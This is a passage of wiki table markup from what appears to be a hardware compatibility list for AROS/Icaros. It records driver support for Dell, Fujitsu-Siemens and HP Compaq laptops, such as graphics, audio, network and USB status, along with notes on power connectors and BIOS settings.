| &lt;!--Name--&gt;Inspiron 3505, Vostro 3515 || &lt;!--Chipset--&gt;athlon 300u, Ryzen 3250u (2c4t) 3450u 3500u 3700u (4c8t), Athlon Silver (2c2t) Gold (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|up to 2 nvme with optional 2.5in sata ribbon connector}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8, 10}} || &lt;!--Audio--&gt;{{No|Realtek ALC3204, Cirrus Logic CS8409 (CS42L42 and SN005825)}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|RTL 8106E}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8723DE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64-bit - 15.6inch - 2 ddr4 sodimm max 16G - avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Inspiron 5485 2-in-1 || &lt;!--Chipset--&gt;athlon 300u, Ryzen 3250u (2c4t) 3450u 3500u 3700u (4c8t), Athlon Silver (2c2t) Gold (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8, 10}} || &lt;!--Audio--&gt;{{No|Realtek ALC3204}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8723DE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64-bit - 14inch - 2 ddr4 sodimm max 16G - avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Latitude 3500, 3310, 3410, 3510, || &lt;!--Chipset--&gt;Intel Celeron-4205U, Pentium-5405U, Core i5 (8th Gen) i3-8145U, 8265U, i5-8365U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2D for Intel UHD Graphics 610 or 620 hdmi}} || &lt;!--Audio--&gt;{{no|HDAudio with Realtek ALC}} || &lt;!--USB--&gt;{{maybe|USB3 usb-c usb-a}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 RTL8111H}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 14in or 15.6in 768p to 1080p 220nits - 65w - 2 ddr4 sodimm slots - rtc cr2032 cmos 2 pin - 
|-
| &lt;!--Name--&gt;Inspiron 5405 || &lt;!--Chipset--&gt;AMD Ryzen 5 4500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;One M.2 2230/2280 nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No|HDAudio with Realtek ALC3204 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14&quot; 1080p - dell round ac 19.50 VDC 4.50 mm x 2.90 mm 65W(19.5V-3.34A) round 4.5mm tip - 
|-
| &lt;!--Name--&gt;Inspiron 5415, Inspiron 5515 || &lt;!--Chipset--&gt;AMD Ryzen 3 5300U, Ryzen 5 5500U, Ryzen 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No|HDaudio with realtek ALC3254 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 14&quot; or 15.6in - avoid knocking usb-c charging whilst in use or use dell round ac 65W 4.5MM x 3.0MM - replacing keyboard not easy - 1 ddr4 sodimm - 
|-
| &lt;!--Name--&gt;Vostro 3425, Vostro 3525, Vostro 5625 || &lt;!--Chipset--&gt;AMD Ryzen 3 5425U, Ryzen 5 5625U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{no|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB4}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14in 15.6&quot; to 16&quot; FHD 1080p - dell round ac 65w 4.5MM x 3.0MM or avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Dell Inspiron 15 Model 3535, Inspiron 14 7435  || &lt;!--Chipset--&gt;AMD Ryzen 5 7520U, AMD Ryzen 5 7530U, 7 7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;{{No| hdmi 1.4 but no gpmi}} || &lt;!--Audio--&gt;{{No|HDaudio with codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2024 64bit - 14.0&quot; or 15.6&quot; 1080p - dell round ac 65w 4.5MM x 3.0MM or usb-c charging - full sd card slot - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====Fujitsu-Siemens====

[[#top|...to the top]]

Order of build quality (Lowest to highest)
&lt;pre &gt;
Amilo 
Esprimo 
Lifebook 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Fujitsu [http://www.labri.fr/perso/fleury/index.php?page=bug_transmeta FMV-Biblo Loox S73A (Japan P1100) LifeBook P1120 Biblo Loox T93C (Japan P2120) P2020] || &lt;!--Chipset--&gt;Transmeta Crusoe CPU TM5600 633MHz with Ali M1535 chipset || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;ATI Rage Mobility M with 4MB SDRAM || &lt;!--Audio--&gt;{{No|AC97 Ali M1535 + STAC9723 Codec}} || &lt;!--USB--&gt;USB 1.1 only || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1999 32bit 10&quot; 1280 x 600 matte LCD - QuickPoint IV mouse - metal chassis with palm rest plastic - 15GB 2.5 inch drive and SR 8175 8X DVD-ROM drive -  
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Lifebook S7000 S7010 S7010D S2020 || &lt;!--Chipset--&gt;Pentium M 1.6 or 1.7GHz || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - Intel 855}} || &lt;!--Audio--&gt;{{maybe|AC97 with STAC 9751T or 9767 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom}} || &lt;!--Wireless--&gt;{{No|Atheros, Broadcom or Intel 2200BG - FN,F10}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2002 32bit 14.1 inch with minimal support 
|-
| &lt;!--Name--&gt;Lifebook e8010 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 855GM}} || &lt;!--Audio--&gt;AC97 STAC9767 or ALC203 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom NetXtreme BCM5705M}} || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG || &lt;!--Test Distro--&gt;Icaros 1.3.1 || &lt;!--Comments--&gt;2002 32bit 15.1 inch
|-
| &lt;!--Name--&gt;Stylistic ST5000 ST5010 ST5011 ST5012 ST5020 ST5021 ST5022 || &lt;!--Chipset--&gt;1.0GHz P-M and later 1.1GHz on Intel 855GME || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 800 use VESA || &lt;!--Audio--&gt;Intel AC97 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM5788 tg3 || &lt;!--Wireless--&gt;{{No|Intel 2200BG}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit charged via a proprietary port power connector 16V 3.75A with wacom serial pen interface - indoor Screen transmissive 10.1 and later 12.1 XGA TFT - 
|-
| &lt;!--Name--&gt;Amilo Pro V2010  || &lt;!--Chipset--&gt;VIA CN400 PM880 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{No|S3 unichrome use VESA}} || &lt;!--Audio--&gt;{{No|VIA AC97 VT8237 with  codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Rhine 6102 6103 || &lt;!--Wireless--&gt;RaLink RT2500 || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2003 32bit boot mount - unknown bootstrap error then crashes 
|-
| &lt;!--Name--&gt;Amilo Li 1705 CN896 || &lt;!--Chipset--&gt; with VIA P4M900 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{Maybe|IDE}} || &lt;!--Gfx--&gt;ATi || &lt;!--Audio--&gt;{{No|VIA VT8237 HD Audio  with  codec}} || &lt;!--USB--&gt;VT82xx 62xx || &lt;!--Ethernet--&gt;{{Yes|VIA Rhine}} || &lt;!--Wireless--&gt;{{No|Atheros G}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit random freezes
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; Esprimo Mobile V5535 Skt mPGA 478MN 
| &lt;!--Chipset--&gt; 
| &lt;!--IDE--&gt; {{yes|IDE and EIDE}}
| &lt;!--SATA--&gt; {{maybe|IDE mode with SIS 5513}}
| &lt;!--Gfx--&gt; {{maybe|SiS 771 / 671 (VESA only)}}
| &lt;!--Audio--&gt; {{yes|HD Audio SIS968 SIS966 SI7012 with ALC268 codec}}
| &lt;!--USB--&gt; {{no|USB 1.1 and 2.0 issues}}
| &lt;!--Ethernet--&gt; {{no|SiS 191 gigabit}}
| &lt;!--Wireless--&gt; {{yes|Atheros AR5001 mini pci express}}
| &lt;!--Test Distro--&gt;aros one 1.5 usb 
| &lt;!--Comments--&gt;2005 32bit 20v barrel - f2 setup f12 multi boot - random freezing short time after booting - chipset SIS 671MX - 
|-
| &lt;!--Name--&gt;Amilo SI 1520 1521p || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 2D}} || &lt;!--Audio--&gt;{{No|HD Audio Conexant codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|Intel Pro 100}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 1.4.2 || &lt;!--Comments--&gt;2005 32bit - Set Bios option ATA Control Mode to Compatible 
|-
| &lt;!--Name--&gt;Lifebook S7020 S7020D || &lt;!--Chipset--&gt; Pentium M 740 1.73MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 915 || &lt;!--Audio--&gt;HD Audio ALC260 codec || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;Broadcom BCM5751M Gigabit || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG or Atheros 5k || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit 
|-
| &lt;!--Name--&gt;Stylistic ST5030 ST5031 ST5032 || &lt;!--Chipset--&gt;1 to 1.2GHx Pentium M with 915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 900 || &lt;!--Audio--&gt; || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;Marvell || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit charged via a proprietary port power connector 6.0 x 4.4 mm round - 200 pin ddr2 ram 
|-
| &lt;!--Name--&gt;Stylistic ST5110 ST5111 ST5112 || &lt;!--Chipset--&gt;945GM with 1.2GHz Core Duo and Core2 Duo || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 900 || &lt;!--Audio--&gt;HD audio with STAC9228 codec || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Intel 3945 ABG or optional atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 either 32 or 64 bit - charged via a proprietary port power connector 6.0 x 4.4 mm round - SigmaTel® touchscreen - 
|-
| &lt;!--Name--&gt;E8110 S7110 E8210 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|945GM}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC262 codec playback}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8055 Gigabit}} || &lt;!--Wireless--&gt;{{No|Intel PRO Wireless 3945ABG}} || &lt;!--Test Distro--&gt;Icaros 2.0 || &lt;!--Comments--&gt;2006 32bit Core Duo 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || CHIPSET || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Lifebook PH521 || &lt;!--Chipset--&gt;AMD E-350 E-450 1.65GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;HD 6310M 6320M || &lt;!--Audio--&gt;Realtek ALC269 || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;{{No|Atheros 802.11 bgn}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 11.6 inch 1366x768 pixels - DDR3 1066MHz - 
|-
| &lt;!--Name--&gt;LIFEBOOK E752/E782/S752/S782 || &lt;!--Chipset--&gt; with Intel Core i3-2328M to i3-3110M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe| }} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel 82579V 1000 }} || &lt;!--Wireless--&gt;{{no|Intel Wireless 6205 may be able to swap for Atheros 5k }} || &lt;!--Test Distro--&gt;Aros One 64bit || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====HP Compaq====

[[#top|...to the top]]

Build quality (Lowest to highest) 

&lt;pre &gt;
Presario 
Pavilion 
Omnibook 
ProBook
Armada
Elitebook
&lt;/pre &gt;


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;1c00 series Compaq Presario  [http://users.utu.fi/sjsepp/linuxcompaqarmada100s.html Armada 100S made by Mitac], 1247 || &lt;!--Chipset--&gt;K6-II with PE133 MVP-4 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA - Trident Blade3D AGP sp16953 || &lt;!--Audio--&gt;VIA ac'97 audio [rev20] with AD1881A codec || &lt;!--USB--&gt;{{Maybe|usual VIA issues [rev10]}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit 192MB max - PCcard Texas PC1211 no support - 1200 XL1 1200-XL1xx, XL101, XL103 XL105 XL106 XL109 XL110 XL111 XL116  XL118 XL119 XL125 
|-
| &lt;!--Name--&gt;1c01 series Armada 110, Evo N150 || &lt;!--Chipset--&gt;Intel with VIA PLE133 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - Trident Cyber Blade i1 chipset || &lt;!--Audio--&gt;VIA 686 rev20 82xxx 686a || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 82557 Pro 100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit max 192mb sodimm 100Mhz 133Mhz ram memory - 1200-XL405A 12XL405A XL502A 12XL502A 1600XL 
|-
| Armada M300 M700 E500 || 440BX || {{Yes| }} || {{N/A}} || {{maybe|ATI Rage LT M1 Mobility (VESA only)}} || {{no|AC97 ESS Maestro 2E M2E ES1987 sound}} || {{yes|USB1.1 only}} || {{No|[http://perho.org/stuff/m300/index_en.html Intel PRO 100+ Mini PCI]}} || {{N/A}} || Aspire OS 2012, Nightly 30-01 2013 and 04-05 2013 || 1999 32bit - F10 bios options and Fn+F11 reset CMOS with 64mb ram already on board
|-
| &lt;!--Name--&gt;HP Omnibook XE3 || &lt;!--Chipset--&gt;Intel BX 600Mhz GC model 256mb or AMD GD 500Mhz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - S3 Inc. 86C270 294 Savage IX-MV (rev 11) || &lt;!--Audio--&gt;{{No|ESS ES1988 Allegro 1 (rev 12)}} || &lt;!--USB--&gt;Intel 82371AB PIIX4 USB (rev 01) || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit no cardbus pcmcia support - no audio from Polk Audio Speakers - 
|-
| &lt;!--Name--&gt;HP Omnibook XE3 || &lt;!--Chipset--&gt;82830 ICH3 P3-M 750MHz 800Mhz 900MHz  || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - CGC 830MG}} || &lt;!--Audio--&gt;{{No|ESS ES1988 Maestro 3i}} || &lt;!--USB--&gt;{{Yes|only one 1.1 port}} || &lt;!--Ethernet--&gt;{{Yes|e100 82557}} || &lt;!--Wireless--&gt;{{N/A|}} || &lt;!--Test Distro--&gt;Icaros 1.51 || &lt;!--Comments--&gt;2002 32bit Boots USB Stick via Plop boot floppy - Memory for GF 256-512mb, GS up 1GB 
|-
| &lt;!--Name--&gt;TC1000 TC-1000 Tablet PC || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA NV11 [GeForce2 Go] (rev b2) || &lt;!--Audio--&gt;VIA AC97 Audio (rev 50) || &lt;!--USB--&gt;OHCI NEC USB 2.0 (rev 02) || &lt;!--Ethernet--&gt;Intel 82551 QM (rev 10) || &lt;!--Wireless--&gt;Atmel at76c506 802.11b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit Transmeta LongRun (rev 03)  with VT82C686 - Texas Instruments TI PCI1520 PC card Cardbus 
|-
| &lt;!--Name--&gt;HP Compaq R3000 ZV5000 (Compal LA-1851) || &lt;!--Chipset--&gt;Nvidia nForce 3 with AMD CPU || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia  NV17 [GeForce4 420 Go 32M]  || &lt;!--Audio--&gt;Nvidia  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom or Realtek RTL8139 || &lt;!--Wireless--&gt;{{Maybe|Broadcom BCM4303 BCM4306 or Atheros bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - HPs have a setting to automatically disable wireless if a wired connection is detected 
|-
| &lt;!--Name--&gt;Compaq [http://www.walterswebsite.us/drivers.htm Presario 700 series] || &lt;!--Chipset--&gt;VT8363 VT8365 [Apollo Pro KT133 KM133] || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|VT8636A (S3 Savage TwisterK) (VESA only)}} || &lt;!--Audio--&gt;{{Maybe|VIA AC97 [rev50] with AD1886 codec}} || &lt;!--USB--&gt;{{maybe|VIA UHCI USB 1.1 [rev1a]}} || &lt;!--Ethernet--&gt;{{yes|RealTek RTL8139}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4306}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit poor consumer grade level construction - jbl audio pro speakers - no support for cardbus pcmcia TI PCI1410 - 700A EA LA UK US Z 701AP EA BR FR 701Z 702US 703US AP JP audio sp18895 Sp19472 
|-
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| N400c || P3-M 82845 || {{yes|82801 CAM IDE U100}} || {{N/A}} || {{maybe|Rage Mobility 128 (VESA only)}} || {{No|Maestro 3 allegro 1}} || {{yes|USB1.1}} || {{yes|Intel PRO 100 VM (KM)}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit Has no optical disc drive 
|-
| N410c || P3-M 82845 || {{yes|82801 CAM IDE U100}} || {{N/A}} || {{maybe|Radeon Mobility M7 LW 7500 (VESA only)}} || {{yes|Intel AC97 with AD1886 codec}} || {{yes|USB1.1}} || {{yes|Intel PRO 100 VM (KM)}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit Has no optical disc drive 
|-
| Evo N600c || Pentium 4 || {{yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility M7 (VESA only)}} || {{No|ESS ES1968 Maestro 2}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{dunno}} || Icaros 1.3 || 2003 32bit 
|-
| Evo N610c || Pentium 4 || {{yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility M7 (VESA only)}} || {{yes|Intel ICH AC97 with AD1886 codec}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{dunno}} || Icaros 1.2.4 ||
|-
| N800c || P4 || {{Yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility 7500 (VESA only)}} || {{yes|AC97}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit P4M CPU can get very warm 
|-
| &lt;!--Name--&gt;NX7010 || &lt;!--Chipset--&gt;Intel  || &lt;!--IDE--&gt;{{yes|IDE}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI mobility 7500 or 9000 Radeon 9200 64MB (VESA only)}} || &lt;!--Audio--&gt;{{yes|AC97 ADI codec}} || &lt;!--USB--&gt;{{yes|uhci (1.1) and ehci (2.0)}} || &lt;!--Ethernet--&gt;{{yes|Realtek 8139}} || &lt;!--Wireless--&gt;{{No|Intel 2200b bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;Compaq Preasrio V5000 (Compal LA-2771) || &lt;!--Chipset--&gt;AMD Sempron 3000+ or Turion ML with SB400 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA - Ati RS480M Xpress 200}} || &lt;!--Audio--&gt;{{No|AC97 ATI with Conexant CX 20468 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Realtek 8100 8101L 8139}} || &lt;!--Wireless--&gt;{{No|bcm4318 bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2004 64bit single core machine V5001 V5002 V5002EA V5003 
|-
| &lt;!--Name--&gt;TC1100 TC-1100 Tablet PC || &lt;!--Chipset--&gt;855PM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia Geforce4 Go || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|BCM 4400}} || &lt;!--Wireless--&gt;{{Maybe|Atheros wlan W400 W500 or ? bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit 
|-
